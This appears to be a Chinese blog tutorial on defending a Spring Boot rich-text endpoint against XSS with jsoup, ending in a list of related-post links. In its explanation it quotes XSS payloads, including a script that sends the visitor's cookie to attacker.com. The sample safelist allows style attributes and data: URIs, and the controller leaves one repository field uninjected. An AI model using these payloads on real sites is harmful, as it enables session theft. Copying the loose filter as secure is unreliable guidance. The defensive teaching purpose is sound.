springbpoot项目,富文本,xss脚本攻击防护,jsoup

XSS脚本攻击概述

XSS(Cross-Site Scripting)是一种常见的网络安全漏洞,攻击者通过注入恶意脚本到受害者的浏览器中执行,从而窃取数据、劫持会话或破坏页面内容。XSS通常分为三种类型:反射型、存储型和DOM型。

反射型XSS

反射型XSS又称非持久型XSS,恶意脚本作为请求的一部分发送到服务器,服务器未过滤直接返回给用户浏览器执行。常见于URL参数、搜索框等场景。

攻击者构造一个包含恶意脚本的链接,诱骗用户点击:

html 复制代码
https://example.com/search?query=<script>alert('XSS')</script>

存储型XSS

存储型XSS又称持久型XSS,恶意脚本被保存到服务器数据库(如评论、留言板),当其他用户访问时触发。危害更大,影响范围更广。

例如,攻击者在论坛提交包含恶意脚本的评论:

html 复制代码
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

DOM型XSS

DOM型XSS不依赖服务器响应,而是通过客户端JavaScript动态修改DOM结构触发。攻击载荷通常隐藏在URL片段(#后)或本地存储中。

示例代码漏洞:

javascript 复制代码
document.write('<div>' + location.hash.substring(1) + '</div>');

攻击者构造URL:

html 复制代码
https://example.com/page#<img src=x onerror=alert('XSS')>

防御措施

输入过滤与转义

对用户输入进行严格验证,转义特殊字符(如<转为&lt;)。

内容安全策略(CSP)

通过HTTP头Content-Security-Policy限制脚本来源:

http 复制代码
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com

HttpOnly Cookie

设置Cookie的HttpOnly属性,防止JavaScript访问:

http 复制代码
Set-Cookie: sessionid=123; HttpOnly; Secure

框架安全特性

现代前端框架(如React、Vue)默认转义动态内容,避免直接操作DOM。

实际影响

XSS可导致会话劫持、钓鱼攻击、恶意软件分发等后果。定期安全测试和代码审计是必要的防护手段。

pox.xml添加 jsoup

bash 复制代码
	<dependency>
          <groupId>org.jsoup</groupId>
          <artifactId>jsoup</artifactId>
          <version>1.21.2</version>
    </dependency>

创建XssCleanUtils工具类

bash 复制代码
package org.example.common.utils;

import org.jsoup.Jsoup;
import org.jsoup.safety.Safelist;
import org.springframework.stereotype.Component;


@Component
public class XssCleanUtils {

    /**
     * 清理富文本内容,保留常用HTML标签
     *
     * @param content 待清理的富文本内容
     * @return 清理后的安全内容
     */
    public String cleanRichText(String content) {
        if (content == null || content.isEmpty()) {
            return content;
        }

        // 使用宽松白名单,保留常见富文本标签
        Safelist safelist = Safelist.relaxed()
                .addTags("hr", "ins", "del", "mark", "small", "sub", "sup")
                .addAttributes(":all", "class", "id", "style")
                .addAttributes("a", "target")
                .addAttributes("img", "src", "alt", "title", "width", "height")
                .addProtocols("img", "src", "http", "https", "data")
                .addProtocols("a", "href", "http", "https", "mailto");

        return Jsoup.clean(content, safelist);
    }

    /**
     * 清理简单文本内容(严格模式)
     *
     * @param content 待清理的内容
     * @return 清理后的安全内容
     */
    public String cleanSimpleText(String content) {
        if (content == null || content.isEmpty()) {
            return content;
        }

        // 只保留基本文本格式标签
        Safelist safelist = new Safelist()
                .addTags("b", "strong", "i", "em", "u", "strike", "del", "ins")
                .addTags("p", "br", "span")
                .addAttributes("span", "class", "style");

        return Jsoup.clean(content, safelist);
    }
}

过滤文本

bash 复制代码
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import io.swagger.v3.oas.annotations.Operation;
import io.swagger.v3.oas.annotations.tags.Tag;
import lombok.RequiredArgsConstructor;
import org.example.baens.Dynamic;
import org.example.baens.User;
import org.example.common.config.MinioConfiguration;
import org.example.common.utils.ApiResult;
import org.example.common.utils.UuidUtils;
import org.example.common.utils.XssCleanUtils;
import org.example.repository.DynamicRepository;
import org.example.service.DynamicService;
import org.example.service.UserService;
import org.springframework.data.redis.core.RedisTemplate;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.multipart.MultipartFile;

import java.util.Date;

@RestController
@Tag(name = "动态资讯接口")
@RequestMapping("/api")
@RequiredArgsConstructor
public class DynamicController {

    private final DynamicService dynamicService;

    private final RedisTemplate<String, Object> customRedisTemplate;

    private final MinioConfiguration minioConfiguration;

    private DynamicRepository dynamicRepository;

    private final XssCleanUtils xssCleanUtils;

    @PostMapping("/save/dynamic")
    public ApiResult<Dynamic> saveDynamic(@RequestParam String name,
                                          @RequestParam String content,
                                          @RequestParam(value = "imgUrl") MultipartFile imgUrl,
                                          @RequestParam String author
    ) {
    
        String cleanedContent = xssCleanUtils.cleanRichText(content);


        minioConfiguration.validateFile(imgUrl, "image/jpeg", "image/png", "image/webp");
        String minio_url = minioConfiguration.uploadToMinio(imgUrl, "dynamic");
        Dynamic dynamic = new Dynamic();
        dynamic.setId(UuidUtils.generate());
        dynamic.setName(name);
        dynamic.setContent(cleanedContent);
        dynamic.setImgUrl(minio_url);
        dynamic.setAuthor(author);
        dynamic.setStatus(1);
        dynamic.setCreateTime(new Date());
        dynamic.setUpdateTime(new Date());
        dynamicRepository.save(dynamic);
        dynamicService.save(dynamic);
        return new ApiResult<>(200, "添加成功", null);
    }

    @PostMapping("/save/image")
    @Operation(summary = "上传图片")
    public ApiResult<String> uploadImage(@RequestParam(required = false,value = "imgUrl") MultipartFile imgUrl) {
        minioConfiguration.validateFile(imgUrl, "image/jpeg", "image/png", "image/webp");
        String minio_url = minioConfiguration.uploadToMinio(imgUrl, "dynamic");
        return new ApiResult<>(200, "上传成功", minio_url);
    }

    @PostMapping("/save/video")
    @Operation(summary = "上传视频")
    public ApiResult<String> uploadVideo(@RequestParam(required = false, value = "videoUrl") MultipartFile videoUrl) {
        minioConfiguration.validateFile(videoUrl, "video/mp4", "video/avi", "video/mov");
        String minio_url = minioConfiguration.uploadToMinio(videoUrl, "dynamic");
        return new ApiResult<>(200, "上传成功", minio_url);
    }


}
相关推荐
汤姆yu7 小时前
基于springboot的热门文创内容推荐分享系统
java·spring boot·后端
星光一影7 小时前
教育培训机构消课管理系统智慧校园艺术舞蹈美术艺术培训班扣课时教务管理系统
java·spring boot·mysql·vue·mybatis·uniapp
im_AMBER7 小时前
weather-app开发手记 04 AntDesign组件库使用解析 | 项目设计困惑
开发语言·前端·javascript·笔记·学习·react.js
用泥种荷花7 小时前
VueCropper加载OBS图片跨域问题
前端
lkbhua莱克瓦247 小时前
MySQL介绍
java·开发语言·数据库·笔记·mysql
武昌库里写JAVA7 小时前
在iview中使用upload组件上传文件之前先做其他的处理
java·vue.js·spring boot·后端·sql
董世昌417 小时前
什么是事件冒泡?如何阻止事件冒泡和浏览器默认事件?
java·前端
Bigger7 小时前
在 React 里优雅地 “隐藏 iframe 滚动条”
前端·css·react.js
小沐°7 小时前
vue3-ElementPlus出现Uncaught (in promise) cancel 报错
前端·javascript·vue.js
好度7 小时前
配置java标准环境?(详细教程)
java·开发语言